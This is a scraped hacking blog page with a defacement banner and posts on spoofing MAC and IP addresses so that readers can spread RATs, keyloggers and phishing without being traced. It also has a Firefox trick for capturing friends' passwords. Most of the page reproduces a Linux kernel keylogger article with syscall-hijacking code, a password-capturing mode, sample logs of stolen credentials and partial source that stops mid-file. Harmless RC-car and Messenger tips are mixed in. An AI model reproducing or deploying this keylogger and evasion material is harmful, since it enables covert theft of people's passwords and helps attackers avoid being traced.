english-inmind.com Hacked by aK47 and D4RK CRYST4L

Website english.inmind.com is hacked by Indian Hackers :- aK47 and D4RK

On Page SEO Optimization Techniques for Blogs/Beginners/Blogger

On Page SEO optimization is a technique to bring your site on to the top pages of search engines so If you want to do SEO for blogs then you can't be ignore on page seo optimization.

What is Denial of Service (DoS) Attacks

Denial Of Service (DoS) Attacks :- A denial of service (DoS) attack is an attack that clogs up so much memory on the target system that it can not serve it’s users, or it causes the target system to crash, reboot, or otherwise deny services to legitimate users.

26 Books on Hacking by Ankit Fadia: Free Downloads

Download various books on Hacking by Ankit Fadia for free Collection

Showing posts with label pc tips and tricks. Show all posts
Showing posts with label pc tips and tricks. Show all posts

Tuesday, August 30

How to Hide IP Address and Spoof MAC Address | Become Anonymous on Internet


Now today i am going to have another interesting Tutorial , i.e HOW TO HIDE IP ADDRESS AND MAC ADDRESS AND BECOME ANONYMOUS ON NETWORK.
Many of my Daily readers have asked me about how can we become anonymous and do any hacking trick, so by now you will be having anew trick to become anonymous, such that no one can track you. Like wise you can send Phishing pages, spoofed pages and backtrack attack without the fear of being caught.
All the tutorials I have seen on internet tell people How To Set up RAT’s, Keyloggers etc. People follow these steps and start spreading, without doing anything to prevent themselves from being traced. You should follow the below steps before you start spreading, otherwise you will be easy to trace. There is no such thing as 100% anonymous, but this will help you.

This tutorial will show you how to become anonymous on the internet.

How To Hide IP And MAC Address And Becoming Anonymous On Network

How To Spoof/Hide MAC Address
First we will spoof our MAC address. MAC stands for “Media Access Control”. It is commonly used by the authorities to trace hackers. To make it harder to trace us, we can change it!Step1 : Firstly, download the Program NMAC here: 
Step2 : After you have installed it, open it up, and click proceed.You should see a list at the top of the window.
Click on the first one.
Note: The drop-down box under “Network Connection” changes.If you are using a wired connection, you need to select the one that says “Local Area Connection”. If you are using a wireless connection, you need to select the one that says “Wireless Network Connection”. If you are using a VPN, that should be visible too.
 Step3 : Once you have found the correct one, click “Random” as many times as you like.
 Step4 : Now click on “Update MAC”.
 
Click “Yes” to the window that follows, and wait until you get a window telling you that the adapter was restarted succesfully.
Now You just spoofed your MAC address.
 
How To Hide your IP address and encrypt your connection
Next, you need a VPN-Virtual Private Network, This will hide your IP address and encrypt your connection.Step1 : Goto hotspotshield and Click on “Download The Latest Version” on the right-hand side of the page.Note : If you can afford a paid VPN, it is recommended, but a good free one is Hotspot Shield.
 Step2 : Once you have downloaded and installed it, a web page should open up and it should connect to the VPN.Now your IP address will b hide and your Location will be Fake. Just like I used it, and My Location Was set to Milpitas/california – USA.
Note: You cannot go to some sites when using a VPN. This is because of security.
Congratulations! You now have a VPN!
So friends, I hope you like this tutorial.If you have any problem in this tutorial, mention it in comments section.

Wednesday, August 10

How to Create Invisible Folders in Windows

How to Create an Invisible Folder?  Hello guys. In this post I'd show you how to create an Invisible Folder in your PC. Now a days there are a lot of softwares for hiding and protecting your files. Most of

them are just claims, while only a small portion of them work properly. In this trick

I've not used any of the softwares, except for my brains. So, to start with, right-click on the empty area of your desktop or any folder/drive.

Click on New>Folder. A New Folder will appear with its name as "New folder".

Now rename this folder. Instead of giving any name to this folder, set your NUMLock

to On, hold down Alt key n press 0160 in the Numeric Keypad. Now a Space will appear

in place of the name of the folder. If you try to rename the folder to a Space using

only the Spacebar, windows will surely not rename it to a Space. But with this trick,

you can successfully do so! Now comes the icon of the folder. It is usually a Yellow-Coloured folder image.

To change it, right click on the folder which you've previously renamed as

" "(Blank Space), select Proprties. The Properties dialog box opens.

Click on Customize tab, then click on Change icon. Browse through the icons and

you will find some empty spaces in the list. Click on any one of them and click Ok.

Click on Apply Button and finally click Ok. Now you are ready with your

Invisible Folder and you can store all your private files in it! Enjoy! Note: Works only with Windows.

Written By N1KH1L S4RD4N4

Thursday, August 4

Controlling the RC Car using Virtual Basic 6

I am back again with my next post. This post is about controlling the RC car using the Visual Basic 6. There are also several programs that you can control RC car with but I have chosen Visual Basic because I am little bit de javu in Visual Basic.

In my first post on Parallel port interfacing I’ve already mentioned you about the basic coding part here is the short extract from it.

If you are using XP you’ll need separate file to communicate with parallel port as later version of windows doesn’t allows you to communicate with the parallel port directly.
You’ll need to download this DLL file, Click here to download.
After you downloaded search for inpout32.dll in the windows explorer in the directory where you’ve downloaded the file and then Copy and Paste it to c:/windows/system32 and also to c:/windows/system32/driver. Ok you are now done.
Now the programming part,
First make a new exe project in Visual Basic 6. Then declare the following function to the form.

Private Declare Function Inp Lib “inpout32.dll” _
Alias “Inp32″ (ByVal PortAddress As Integer) As Integer
Private Declare Sub Out Lib “inpout32.dll” _
Alias “Out32″ (ByVal PortAddress As Integer, ByVal Value As Integer)

Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)
Out 888, 1
End sub

Are you newbie on Visual Basic? Don’t worry my friend just copy the above codes. Let me teach you what the above code does.

Private Declare Function Inp Lib “inpout32.dll” _
Alias “Inp32″ (ByVal PortAddress As Integer) As Integer
Private Declare Sub Out Lib “inpout32.dll” _
Alias “Out32″ (ByVal PortAddress As Integer, ByVal Value As Integer)



These codes calls inpout32.dll from the system folder which helps Visual basic to communicate with the parallel port.

Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)
Out 888, 1
End sub
These codes enables you to send data to parallel port. “Out” is for output, 888 is the parallel port address and 1 is the data pin address.

For better result and easy process you’ll have to connect the wires from the positive of transistor with the parallel port serially i.e. Up= pin 2, Down= pin 3 Left=pin 4 Right=pin 5.
If you properly checked the connection then you’ll have no problem in programming.

Now the hardware part modification is completely finished.
Well lets go again for the programming part. Easy as 123, just copy and paste the following code in to Visual basic form. After creating form put Label1, Label2, Label3, Label4, Label5, Label6, Label7, Label8 and Label9 in separate places without overlapping, this is optional. It only shows you which function was pressed.
Private Declare Function Inp Lib “inpout32.dll” _
Alias “Inp32″ (ByVal PortAddress As Integer) As Integer
Private Declare Sub Out Lib “inpout32.dll” _
Alias “Out32″ (ByVal PortAddress As Integer, ByVal Value As Integer)
Dim Port1 As Integer
‘End Sub
‘ PORTS are 1,2,4,8,16,32,64,128 all glow is 255
‘ ()
Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)
If KeyCode = vbKeyNumpad8 Then
Port1 = 888
Out Port1, 8
Label1 = “UP”
End If
If KeyCode = vbKeyNumpad4 Then
Port1 = 888
Out Port1, 2
Label4 = “LEFT”
End If
If KeyCode = vbKeyNumpad7 Then
Port1 = 888
Out Port1, 10
Label2 = “UP-LEFT”
End If
If KeyCode = vbKeyNumpad9 Then
Port1 = 888
Out Port1, 12
Label6 = “UP-RIGHT”
End If
If KeyCode = vbKeyNumpad2 Then
Port1 = 888
Out Port1, 1
Label3 = “DOWN”
End If
If KeyCode = vbKeyNumpad1 Then
Port1 = 888
Out Port1, 3
Label8 = “LEFT-DOWN”
End If
If KeyCode = vbKeyNumpad3 Then
Port1 = 888
Out Port1, 5
Label9 = “RIGHT-DOWN”
End If
If KeyCode = vbKeyNumpad6 Then
Port1 = 888
Out Port1, 4
Label5 = “RIGHT”
End If
If KeyCode = vbKeyUp Then
Port1 = 888
Out Port1, 8
Label1 = “UP”
End If
If KeyCode = vbKeyLeft Then
Port1 = 888
Out Port1, 2
Label4 = “LEFT”
End If
If KeyCode = vbKeyDown Then
Port1 = 888
Out Port1, 1
Label3 = “DOWN”
End If
If KeyCode = vbKeyRight Then
Port1 = 888
Out Port1, 4
Label5 = “RIGHT”
End If
End Sub
Private Sub Form_KeyUp(KeyCode As Integer, Shift As Integer)
Label1 = “”
Label5 = “”
Label3 = “”
Label4 = “”
Label2 = “”
Label6 = “”
Label8 = “”
Label9 = “”
Port1 = 888
Out Port1, 0
End Sub
Connect the parallel port male connector to your computer. Run the program and use your arrow keys to control it and you can even use Numpad. The functionality of Numpad is little more advanced. For example when you press 7 your car will move UP and Left at the same time. I had some problem using combination keys, I mean combined arrow keys, the data to the parallel port can be sent only once. If you get any solution then please inform me about that.
Note: The Pin value may vary as I have soldered the wires of direction and movement controls haphazardly. If you have problem then please ask me I will help you. If you have problem with controls from your keyboard then reconfigure the pin address respective to the remote control circuit.

Tuesday, August 2

5 Cool Tips 'N' Tricks in Windows Live Messenger !

This will be a two part post with the first part covering cool Windows Live tips and tricks that you can do without installing any add-ons, and the second part explains how you can make your Windows Live Messenger experience much more fun.

1. Remove Those Annoying Ads

You may noticed at the very bottom of the Windows Live Messenger main window, they show ads to you. However, if they slightly annoy you from time to time, here is a trick on how to block them.
On your Windows computer, open up Internet Explorer. Click on Tools, then select Internet Options. Click on the Security tab, click on Restricted sites, then click on the Sites button.
internet_options_restricted_sites

Then simply add the URL http://rad.msn.com. This serves as the Microsoft ad server and once you restrict this site, Windows Live Messenger will go from this:
msn_ads
to this:
msn_window_ad

2. See Which Contacts Haven’t Added You To Their Contact List

One of the most searched for keywords on my website is “how do I find out who blocked or deleted me on MSN”. It is really simple to find the answer and you don’t have to install any software on your computer or spy on your friends.
In Windows Live Messenger just go to Tools ““> Options, go to the Privacy section, and under Contact List, click on View. The list that is presented to you are all your contacts that have got you on their contact list. If a contact of yours is not on that list, they have either not added you or have deleted you because they don’t want to talk to you anymore ““ yes I know the feeling.
If going through that list will take a while, you can also download aMSN (which is a excellent portable MSN program for your USB drive). When you view your contacts, the contacts that do not have you on their list will have a red cross next to them.
amsn_contact_list
Another good thing is that you can send unlimited nudges to your friends.

3. Remote Assistance

MakeUseOf has covered many remote assistant applications such as Crossloop, Instant HouseCall, LogMeIn, uVNC, and Foldershare, but did you know Windows Live Messenger is another one? Just simply start a chat, select activities and click request remote assistance.
remote_assistance_msn1
Accept all the prompts, then the other person will be able to view your screen, and they can control your computer if you wish for them too.
remote_assistance_confirm
remote_view
If it doesn’t work, make sure “Allow Remote Assistance“ is enabled by right clicking on My Computer, select properties, Remote, and tick the box.

4. Changing Your Display Name

Want to impress your friends and have a cool name and spell your name like Ĝмдїι.©Ç¾Ðœ? Well, if you open up Microsoft Word for example, find some symbols that look like characters, or even change the font, you can then paste that text into your display name field on MSN. If you want, you can also draw images like these ones.

5. View Contacts By Email Address

You may notice that in the new version of Windows Live Messenger, there is no option to view contacts by email address. I for one, view all my contacts by email address as I know contacts cannot change it (unlike display names which some contacts change all the time). By viewing contacts by email address, I know I am talking to who I want to talk to.
If you are in the same situation as me, here is a workaround to view your contacts by email address. However, it may be a bit time consuming.
What you have to do is give all your contacts nicknames when they are online. Just right-click on the contact, select edit contact, and copy and paste their email address into the Nickname box.
email_address_nickname
Unfortunately it may take some time to do this for all your contacts, but this is the only and easiest way I have found to view contacts by email. If you know of another better way, please let me know.
Remember to keep an eye out for my next post. You will be having fun with audio, and keeping up with what your friends have been doing.  In the meantime, if you have any cool Windows Live tips and tricks of your own, let us know in the comments.

Sunday, July 31

How to Recover Data From Your OLD or Scrached CD !

Hi Friends when you look at your collection of old cd's you find that almost all of them have some scratches all over it and most of them have become unreadable. :) Am i Right ?
You might want to copy some data out of it but Your PC is unable to read from the CD.

SO HERE IS A TOOL FOR ALL MY READERS !
CD Recovery Toolbox supports almost all kind of disks like CD, DVD, HD-DVD, Blu-ray disks etc. This tool actually works when it comes to recovering data from physically damaged CDs. So if you have any damaged CD or DVD and want to recover some data from it give this a try and I am sure you will like it............leave your comments

DOWNLOAD IT BELOW !
CLICK HERE
It’s a Freeware and small in size. This tool allows you to copy the part which is not damaged. So if you are copying some song which is not readable this software can copy the song but the unreadable part will be missing.
This can be useful because in Windows even if some small part is unreadable it will not allow you to copy the whole file.
So enjoy Copying your Damaged CD'S

Turning Firefox Into Keylogger Without Any Software !

Ever wanted to hack your friends accounts, whenever there were over your house or who evers! Or you just wanted firefox to save all your passwords without prompting you every single time! This is for you, read on!

1. Locate nsLoginManagerPrompter.js file (Default location C:\Program Files\Mozilla Firefox\components).
2. Open the file with word pad or notepad!
3. Press Ctrl + A on keyboard, and then press del or delete!
4. Copy and Paste all this:
 
http://tinypaste.com/99d583
5. Make sure Firefox is closed and save the file!

6. Your Done!

-------------

From now on, when ever someone logs onto any site, they username and password will be save automatically without prompt!

To retrieve the account information: Make sure firefox is opened, go to Tools <>

Friday, July 29

How To Write A Keylogger For Linux (Explained) Post 2

----[ 4.1 - The syscall/tty approach

To logging both local (logged from console) and remote sessions, I chose
the method of intercepting receive_buf() function (see 3.2.3).

In the kernel, tty_struct and tty_queue structures are dynamically
allocated only when the tty is open. Thus, we also have to intercept
sys_open syscall to dynamically hooking the receive_buf() function of each
tty or pty when it's invoked.

// to intercept open syscall
original_sys_open = sys_call_table[__NR_open];
sys_call_table[__NR_open] = new_sys_open;

// new_sys_open()
asmlinkage int new_sys_open(const char *filename, int flags, int mode)
{
...
// call the original_sys_open
ret = (*original_sys_open)(filename, flags, mode);
if (ret >= 0) {
struct tty_struct * tty;
...
file = fget(ret);
tty = file->private_data;
if (tty != NULL &&
...
tty->ldisc.receive_buf != new_receive_buf) {
...
// save the old receive_buf
old_receive_buf = tty->ldisc.receive_buf;
...

/*
* init to intercept receive_buf of this tty
* tty->ldisc.receive_buf = new_receive_buf;
*/
init_tty(tty, TTY_INDEX(tty));
}
...
}

// our new receive_buf() function
void new_receive_buf(struct tty_struct *tty, const unsigned char *cp,
char *fp, int count)
{
if (!tty->real_raw && !tty->raw) // ignore raw mode
// call our logging function to log user inputs
vlogger_process(tty, cp, count);
// call the original receive_buf
(*old_receive_buf)(tty, cp, fp, count);
}


----[ 4.2 - Features

- Logs both local and remote sessions (via tty & pts)

- Separate logging for each tty/session. Each tty has their own logging
buffer.

- Nearly support all special chars such as arrow keys (left, right, up,
down), F1 to F12, Shift+F1 to Shift+F12, Tab, Insert, Delete, End,
Home, Page Up, Page Down, BackSpace, ...

- Support some line editing keys included CTRL-U and BackSpace.

- Timestamps logging, timezone supported (ripped off some codes from
libc).

- Multiple logging modes

o dumb mode: logs all keystrokes

o smart mode: detects password prompt automatically to log
user/password only. I used the similar technique presented in
"Passive Analysis of SSH (Secure Shell) Traffic" paper by Solar
Designer and Dug Song (see [6]). When the application turns input
echoing off, we assume that it is for entering a password.

o normal mode: disable logging

You can switch between logging modes by using a magic password.

#define VK_TOGLE_CHAR 29 // CTRL-]
#define MAGIC_PASS "31337" // to switch mode, type MAGIC_PASS
// then press VK_TOGLE_CHAR key

----[ 4.3 - How to use

Change the following options

// directory to store log files
#define LOG_DIR "/tmp/log"

// your local timezone
#define TIMEZONE 7*60*60 // GMT+7

// your magic password
#define MAGIC_PASS "31337"

Below is how the log file looks like:

[root@localhost log]# ls -l
total 60
-rw------- 1 root root 633 Jun 19 20:59 pass.log
-rw------- 1 root root 37593 Jun 19 18:51 pts11
-rw------- 1 root root 56 Jun 19 19:00 pts20
-rw------- 1 root root 746 Jun 19 20:06 pts26
-rw------- 1 root root 116 Jun 19 19:57 pts29
-rw------- 1 root root 3219 Jun 19 21:30 tty1
-rw------- 1 root root 18028 Jun 19 20:54 tty2

---in dumb mode
[root@localhost log]# head tty2 // local session
<19/06/2002-20:53:47 uid=501 bash> pwd
<19/06/2002-20:53:51 uid=501 bash> uname -a
<19/06/2002-20:53:53 uid=501 bash> lsmod
<19/06/2002-20:53:56 uid=501 bash> pwd
<19/06/2002-20:54:05 uid=501 bash> cd /var/log
<19/06/2002-20:54:13 uid=501 bash> tail messages
<19/06/2002-20:54:21 uid=501 bash> cd ~
<19/06/2002-20:54:22 uid=501 bash> ls
<19/06/2002-20:54:29 uid=501 bash> tty
<19/06/2002-20:54:29 uid=501 bash> [UP]

[root@localhost log]# tail pts11 // remote session
<19/06/2002-18:48:27 uid=0 bash> cd new
<19/06/2002-18:48:28 uid=0 bash> cp -p ~/code .
<19/06/2002-18:48:21 uid=0 bash> lsmod
<19/06/2002-18:48:27 uid=0 bash> cd /va[TAB][^H][^H]tmp/log/
<19/06/2002-18:48:28 uid=0 bash> ls -l
<19/06/2002-18:48:30 uid=0 bash> tail pts11
<19/06/2002-18:48:38 uid=0 bash> [UP] | more
<19/06/2002-18:50:44 uid=0 bash> vi vlogertxt
<19/06/2002-18:50:48 uid=0 vi> :q
<19/06/2002-18:51:14 uid=0 bash> rmmod vlogger

---in smart mode
[root@localhost log]# cat pass.log
[19/06/2002-18:28:05 tty=pts/20 uid=501 sudo]
USER/CMD sudo traceroute yahoo.com
PASS 5hgt6d
PASS

[19/06/2002-19:59:15 tty=pts/26 uid=0 ssh]
USER/CMD ssh guest@host.com
PASS guest

[19/06/2002-20:50:44 tty=pts/29 uid=504 ftp]
USER/CMD open ftp.ilog.fr
USER Anonymous
PASS heh@heh

[19/06/2002-20:59:54 tty=pts/29 uid=504 su]
USER/CMD su -
PASS asdf1234


Please check http://www.thehackerschoice.com/ for update on the new version
of this tool.


--[ 5 - Greets

Thanks to plasmoid, skyper for your very useful comments
Greets to THC, vnsecurity and all friends
Finally, thanks to mr. thang for english corrections


--[ 6 - References

[1] Linux Kernel Module Programming
http://www.tldp.org/LDP/lkmpg/
[2] Complete Linux Loadable Kernel Modules - Pragmatic
http://www.thehackerschoice.com/papers/LKM_HACKING.html
[3] The Linux keyboard driver - Andries Brouwer
http://www.linuxjournal.com/lj-issues/issue14/1080.html
[4] Abuse of the Linux Kernel for Fun and Profit - Halflife
http://www.phrack.com/phrack/50/P50-05
[5] Kernel function hijacking - Silvio Cesare
http://www.big.net.au/~silvio/kernel-hijack.txt
[6] Passive Analysis of SSH (Secure Shell) Traffic - Solar Designer
http://www.openwall.com/advisories/OW-003-ssh-traffic-analysis.txt
[7] Kernel Based Keylogger - Mercenary
http://packetstorm.decepticons.org/UNIX/security/kernel.keylogger.txt

--[ 7 - Keylogger sources

<++> vlogger/Makefile
#
# vlogger 1.0 by rd
#
# LOCAL_ONLY logging local session only. Doesn't intercept
# sys_open system call
# DEBUG Enable debug. Turn on this options will slow
# down your system
#

KERNELDIR =/usr/src/linux
include $(KERNELDIR)/.config
MODVERFILE = $(KERNELDIR)/include/linux/modversions.h

MODDEFS = -D__KERNEL__ -DMODULE -DMODVERSIONS
CFLAGS = -Wall -O2 -I$(KERNELDIR)/include -include $(MODVERFILE) \
-Wstrict-prototypes -fomit-frame-pointer -pipe \
-fno-strength-reduce -malign-loops=2 -malign-jumps=2 \
-malign-functions=2

all : vlogger.o

vlogger.o: vlogger.c
$(CC) $(CFLAGS) $(MODDEFS) -c $^ -o $@

clean:
rm -f *.o
<-->
<++> vlogger/vlogger.c
/*
* vlogger 1.0
*
* Copyright (C) 2002 rd
*
* Please check http://www.thehackerschoice.com/ for update
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version
*
* This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* Greets to THC & vnsecurity
*
*/

#define __KERNEL_SYSCALLS__
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

#ifndef KERNEL_VERSION
#define KERNEL_VERSION(a,b,c) (((a) << 16) + ((b) << 8) + (c))
#endif

#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,4,9)
MODULE_LICENSE("GPL");
MODULE_AUTHOR("rd@vnsecurity.net");
#endif

#define MODULE_NAME "vlogger "
#define MVERSION "vlogger 1.0 - by rd@vnsecurity.net\n"

#ifdef DEBUG
#define DPRINT(format, args...) printk(MODULE_NAME format, ##args)
#else
#define DPRINT(format, args...)
#endif

#define N_TTY_NAME "tty"
#define N_PTS_NAME "pts"
#define MAX_TTY_CON 8
#define MAX_PTS_CON 256
#define LOG_DIR "/tmp/log"
#define PASS_LOG LOG_DIR "/pass.log"

#define TIMEZONE 7*60*60 // GMT+7

#define ESC_CHAR 27
#define BACK_SPACE_CHAR1 127 // local
#define BACK_SPACE_CHAR2 8 // remote

#define VK_TOGLE_CHAR 29 // CTRL-]
#define MAGIC_PASS "31337" // to switch mode, press MAGIC_PASS and
// VK_TOGLE_CHAR

#define VK_NORMAL 0
#define VK_DUMBMODE 1
#define VK_SMARTMODE 2
#define DEFAULT_MODE VK_DUMBMODE

#define MAX_BUFFER 256
#define MAX_SPECIAL_CHAR_SZ 12

#define TTY_NUMBER(tty) MINOR((tty)->device) - (tty)->driver.minor_start \
+ (tty)->driver.name_base
#define TTY_INDEX(tty) tty->driver.type == \
TTY_DRIVER_TYPE_PTY?MAX_TTY_CON + \
TTY_NUMBER(tty):TTY_NUMBER(tty)
#define IS_PASSWD(tty) L_ICANON(tty) && !L_ECHO(tty)
#define TTY_WRITE(tty, buf, count) (*tty->driver.write)(tty, 0, \
buf, count)

#define TTY_NAME(tty) (tty->driver.type == \
TTY_DRIVER_TYPE_CONSOLE?N_TTY_NAME: \
tty->driver.type == TTY_DRIVER_TYPE_PTY && \
tty->driver.subtype == PTY_TYPE_SLAVE?N_PTS_NAME:"")

#define BEGIN_KMEM { mm_segment_t old_fs = get_fs(); set_fs(get_ds());
#define END_KMEM set_fs(old_fs); }

extern void *sys_call_table[];
int errno;

struct tlogger {
struct tty_struct *tty;
char buf[MAX_BUFFER + MAX_SPECIAL_CHAR_SZ];
int lastpos;
int status;
int pass;
};

struct tlogger *ttys[MAX_TTY_CON + MAX_PTS_CON] = { NULL };
void (*old_receive_buf)(struct tty_struct *, const unsigned char *,
char *, int);
asmlinkage int (*original_sys_open)(const char *, int, int);

int vlogger_mode = DEFAULT_MODE;

/* Prototypes */
static inline void init_tty(struct tty_struct *, int);

/*
static char *_tty_make_name(struct tty_struct *tty,
const char *name, char *buf)
{
int idx = (tty)?MINOR(tty->device) - tty->driver.minor_start:0;

if (!tty)
strcpy(buf, "NULL tty");
else
sprintf(buf, name,
idx + tty->driver.name_base);
return buf;
}

char *tty_name(struct tty_struct *tty, char *buf)
{
return _tty_make_name(tty, (tty)?tty->driver.name:NULL, buf);
}
*/

#define SECS_PER_HOUR (60 * 60)
#define SECS_PER_DAY (SECS_PER_HOUR * 24)
#define isleap(year) \
((year) % 4 == 0 && ((year) % 100 != 0 || (year) % 400 == 0))
#define DIV(a, b) ((a) / (b) - ((a) % (b) < 0))
#define LEAPS_THRU_END_OF(y) (DIV (y, 4) - DIV (y, 100) + DIV (y, 400))

struct vtm {
int tm_sec;
int tm_min;
int tm_hour;
int tm_mday;
int tm_mon;
int tm_year;
};


/*
* Convert from epoch to date
*/
int epoch2time (const time_t *t, long int offset, struct vtm *tp)
{
static const unsigned short int mon_yday[2][13] = {
/* Normal years. */
{ 0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334, 365 },
/* Leap years. */
{ 0, 31, 60, 91, 121, 152, 182, 213, 244, 274, 305, 335, 366 }
};

long int days, rem, y;
const unsigned short int *ip;

days = *t / SECS_PER_DAY;
rem = *t % SECS_PER_DAY;
rem += offset;
while (rem < 0) {
rem += SECS_PER_DAY;
--days;
}
while (rem >= SECS_PER_DAY) {
rem -= SECS_PER_DAY;
++days;
}
tp->tm_hour = rem / SECS_PER_HOUR;
rem %= SECS_PER_HOUR;
tp->tm_min = rem / 60;
tp->tm_sec = rem % 60;
y = 1970;

while (days < 0 || days >= (isleap (y) ? 366 : 365)) {
long int yg = y + days / 365 - (days % 365 < 0);
days -= ((yg - y) * 365
+ LEAPS_THRU_END_OF (yg - 1)
- LEAPS_THRU_END_OF (y - 1));
y = yg;
}
tp->tm_year = y - 1900;
if (tp->tm_year != y - 1900)
return 0;
ip = mon_yday[isleap(y)];
for (y = 11; days < (long int) ip[y]; --y)
continue;
days -= ip[y];
tp->tm_mon = y;
tp->tm_mday = days + 1;
return 1;
}

How To Write A Keylogger For Linux (Explained) Post 1

Blu3StR3Ak Hacker Welcome's You


|=-----------------=[ Writing Linux Kernel Keylogger ]=------------------=|



--[ 1 - Introduction

This article is divided into two parts. The first part of the paper
gives an overview on how the linux keyboard driver work, and discusses
methods that can be used to create a kernel based keylogger. This part
will be useful for those who want to write a kernel based keylogger, or to
write their own keyboard driver (for supporting input of non-supported
language in linux environment, ...) or to program taking advantage of many
features in the Linux keyboard driver.

The second part presents detail of vlogger, a smart kernel based linux
keylogger, and how to use it. Keylogger is a very interesting code being
used widely in honeypots, hacked systems, ... by white and black hats. As
most of us known, besides user space keyloggers (such as iob, uberkey,
unixkeylogger, ...), there are some kernel based keyloggers. The earliest
kernel based keylogger is linspy of halflife which was published in Phrack
50 (see [4]). And the recent kkeylogger is presented in 'Kernel Based
Keylogger' paper by mercenary (see [7]) that I found when was writing this
paper. The common method of those kernel based keyloggers using is to log
user keystrokes by intercepting sys_read or sys_write system call.
However, this approach is quite unstable and slowing down the whole system
noticeably because sys_read (or sys_write) is the generic read/write
function of the system; sys_read is called whenever a process wants to read
something from devices (such as keyboard, file, serial port, ...). In
vlogger, I used a better way to implement it that hijacks the tty buffer
processing function.

The reader is supposed to possess the knowledge on Linux Loadable Kernel
Module. Articles [1] and [2] are recommended to read before further
reading.


--[ 2 - How Linux keyboard driver work

Lets take a look at below figure to know how user inputs from console
keyboard are processed:

_____________ _________ _________
/ \ put_queue| |receive_buf| |tty_read
/handle_scancode\-------->|tty_queue|---------->|tty_ldisc|------->
\ / | | |buffer |
\_____________/ |_________| |_________|

_________ ____________
| |sys_read| |
--->|/dev/ttyX|------->|user process|
| | | |
|_________| |____________|


Figure 1

First, when you press a key on the keyboard, the keyboard will send
corresponding scancodes to keyboard driver. A single key press can produce
a sequence of up to six scancodes.

The handle_scancode() function in the keyboard driver parses the stream
of scancodes and converts it into a series of key press and key release
events called keycode by using a translation-table via kbd_translate()
function. Each key is provided with a unique keycode k in the range 1-127.
Pressing key k produces keycode k, while releasing it produces keycode
k+128.

For example, keycode of 'a' is 30. Pressing key 'a' produces keycode 30.
Releasing 'a' produces keycode 158 (128+30).

Next, keycodes are converted to key symbols by looking them up on the
appropriate keymap. This is a quite complex process. There are eight
possible modifiers (shift keys - Shift , AltGr, Control, Alt, ShiftL,
ShiftR, CtrlL and CtrlR), and the combination of currently active modifiers
and locks determines the keymap used.

After the above handling, the obtained characters are put into the raw
tty queue - tty_flip_buffer.

In the tty line discipline, receive_buf() function is called periodically
to get characters from tty_flip_buffer then put them into tty read queue.

When user process want to get user input, it calls read() function on
stdin of the process. sys_read() function will calls read() function
defined in file_operations structure (which is pointed to tty_read) of
corresponding tty (ex /dev/tty0) to read input characters and return to the
process.

The keyboard driver can be in one of 4 modes:
- scancode (RAW MODE): the application gets scancodes for input.
It is used by applications that implement their own keyboard
driver (ex: X11)

- keycode (MEDIUMRAW MODE): the application gets information on
which keys (identified by their keycodes) get pressed and
released.

- ASCII (XLATE MODE): the application effectively gets the
characters as defined by the keymap, using an 8-bit encoding.

- Unicode (UNICODE MODE): this mode only differs from the ASCII
mode by allowing the user to compose UTF8 unicode characters by
their decimal value, using Ascii_0 to Ascii_9, or their
hexadecimal (4-digit) value, using Hex_0 to Hex_9. A keymap can
be set up to produce UTF8 sequences (with a U+XXXX pseudo-symbol,
where each X is an hexadecimal digit).

Those modes influence what type of data that applications will get as
keyboard input. For more details on scancode, keycode and keymaps, please
read [3].


--[ 3 - Kernel based keylogger approaches

We can implement a kernel based keylogger in two ways by writing our own
keyboard interrupt handler or hijacking one of input processing functions.


----[ 3.1 - Interrupt handler

To log keystrokes, we will use our own keyboard interrupt handler. Under
Intel architectures, the IRQ of the keyboard controlled is IRQ 1. When
receives a keyboard interrupt, our own keyboard interrupt handler read the
scancode and keyboard status. Keyboard events can be read and written via
port 0x60(Keyboard data register) and 0x64(Keyboard status register).

/* below code is intel specific */
#define KEYBOARD_IRQ 1
#define KBD_STATUS_REG 0x64
#define KBD_CNTL_REG 0x64
#define KBD_DATA_REG 0x60

#define kbd_read_input() inb(KBD_DATA_REG)
#define kbd_read_status() inb(KBD_STATUS_REG)
#define kbd_write_output(val) outb(val, KBD_DATA_REG)
#define kbd_write_command(val) outb(val, KBD_CNTL_REG)

/* register our own IRQ handler */
request_irq(KEYBOARD_IRQ, my_keyboard_irq_handler, 0, "my keyboard", NULL);

In my_keyboard_irq_handler():
scancode = kbd_read_input();
key_status = kbd_read_status();
log_scancode(scancode);

This method is platform dependent. So it won't be portable among
platforms. And you have to be very careful with your interrupt handler if
you don't want to crash your box ;)


----[ 3.2 - Function hijacking

Based on the Figure 1, we can implement our keylogger to log user inputs
by hijacking one of handle_scancode(), put_queue(), receive_buf(),
tty_read() and sys_read() functions. Note that we can't intercept
tty_insert_flip_char() function because it is an INLINE function.


------[ 3.2.1 - handle_scancode

This is the entry function of the keyboard driver (see keyboard.c). It
handles scancodes which are received from keyboard.

# /usr/src/linux/drives/char/keyboard.c
void handle_scancode(unsigned char scancode, int down);

We can replace original handle_scancode() function with our own to logs
all scancodes. But handle_scancode() function is not a global and exported
function. So to do this, we can use kernel function hijacking technique
introduced by Silvio (see [5]).

/* below is a code snippet written by Plasmoid */
static struct semaphore hs_sem, log_sem;
static int logging=1;

#define CODESIZE 7
static char hs_code[CODESIZE];
static char hs_jump[CODESIZE] =
"\xb8\x00\x00\x00\x00" /* movl $0,%eax */
"\xff\xe0" /* jmp *%eax */
;

void (*handle_scancode) (unsigned char, int) =
(void (*)(unsigned char, int)) HS_ADDRESS;

void _handle_scancode(unsigned char scancode, int keydown)
{
if (logging && keydown)
log_scancode(scancode, LOGFILE);
/*
* Restore first bytes of the original handle_scancode code. Call
* the restored function and re-restore the jump code. Code is
* protected by semaphore hs_sem, we only want one CPU in here at a
* time.
*/
down(&hs_sem);
memcpy(handle_scancode, hs_code, CODESIZE);
handle_scancode(scancode, keydown);
memcpy(handle_scancode, hs_jump, CODESIZE);
up(&hs_sem);
}

HS_ADDRESS is set by the Makefile executing this command
HS_ADDRESS=0x$(word 1,$(shell ksyms -a | grep handle_scancode))

Similar to method presented in 3.1, the advantage of this method is the
